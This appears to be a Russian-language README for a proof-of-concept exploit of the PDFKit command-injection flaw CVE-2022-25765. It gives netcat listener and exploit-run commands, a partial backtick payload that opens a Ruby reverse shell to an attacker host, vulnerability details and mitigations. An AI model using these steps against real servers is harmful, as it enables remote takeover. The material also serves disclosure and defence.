CVE-2022-25765 Эксплойт
Небольшой PoC-эксплойт для CVE-2022-25765, PDFkit-CMD-Injection
Использование
-
Запустите netcat-слушатель на вашей атакующей машине:
nc -lvnp 4444
-
Запустите эксплойт:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Пример:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Параметры:
-t, --target: Целевой URL с уязвимым PDFKit
-l, --lhost: Ваш IP-адрес для подключения обратной оболочки
-p, --lport: Ваш порт для подключения обратной оболочки (должен совпадать с портом вашего netcat-слушателя)
Информация об уязвимости
CVE ID: CVE-2022-25765
CVSS v3.1 Score: 9.8 (Критический)
EPSS Score: 71.381% (99-й процентиль)
CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command
Затронутые версии
- Уязвимые: PDFKit 0.0.0 - 0.8.6
- Исправленные: PDFKit 0.8.7.2+
Описание
PDFKit — это Ruby-гем, который преобразует HTML в PDF с помощью утилиты командной строки wkhtmltopdf. Уязвимость заключается в том, как PDFKit обрабатывает параметры URL перед передачей их системным командам оболочки для генерации PDF.
Технические подробности
Уязвимость находится в lib/pdfkit/source.rb, где неправильно реализована очистка URL:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Проблема:
- PDFKit использует ошибочную логику для определения необходимости экранирования URL
- Метасимволы оболочки (обратные кавычки, точки с запятой, пайпы и т.д.) могут обойти эту проверку
- Неочищенные URL напрямую передаются командам оболочки, вызывающим wkhtmltopdf
- Злоумышленники могут внедрить произвольные команды, которые выполняются на сервере
Вектор атаки:
- Сложность: Низкая
- Необходимые привилегии: Нет
- Взаимодействие с пользователем: Нет
- Сетевой доступ: Требуется
Как работает этот эксплойт
Данный PoC эксплуатирует уязвимость следующим образом:
- Внедрение вредоносного URL, содержащего подстановку команд через обратные кавычки
- Полезная нагрузка:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- PDFKit не очищает обратные кавычки в параметре URL
- Когда wkhtmltopdf обрабатывает URL, оболочка выполняет Ruby-обратную оболочку
- Целевая система подключается обратно к слушателю атакующего
Воздействие
- Конфиденциальность: Высокий — полный доступ к системе
- Целостность: Высокий — возможность изменять любые файлы
- Доступность: Высокий — потенциальное нарушение работы системы
Предварительные условия для успешной эксплуатации
В целевой системе:
- Уязвимая версия PDFKit (< 0.8.7.2)
- Установленный Ruby (требуется для полезной нагрузки обратной оболочки)
- Приложение принимает управляемые пользователем URL, передаваемые в PDFKit
- Отсутствие фильтрации исходящего трафика, блокирующей исходящие соединения
Устранение
- Обновление PDFKit до версии 0.8.7.2 или новее
- Валидация ввода: Реализовать строгий белый список для URL-вводов
- Изоляция: Запускать процессы PDFKit в изолированных контейнерах с минимальными привилегиями
- Сегментация сети: Ограничить исходящие соединения от сервисов генерации PDF
- Правила WAF: Развернуть правила для обнаружения метасимволов оболочки в параметрах URL
Ссылки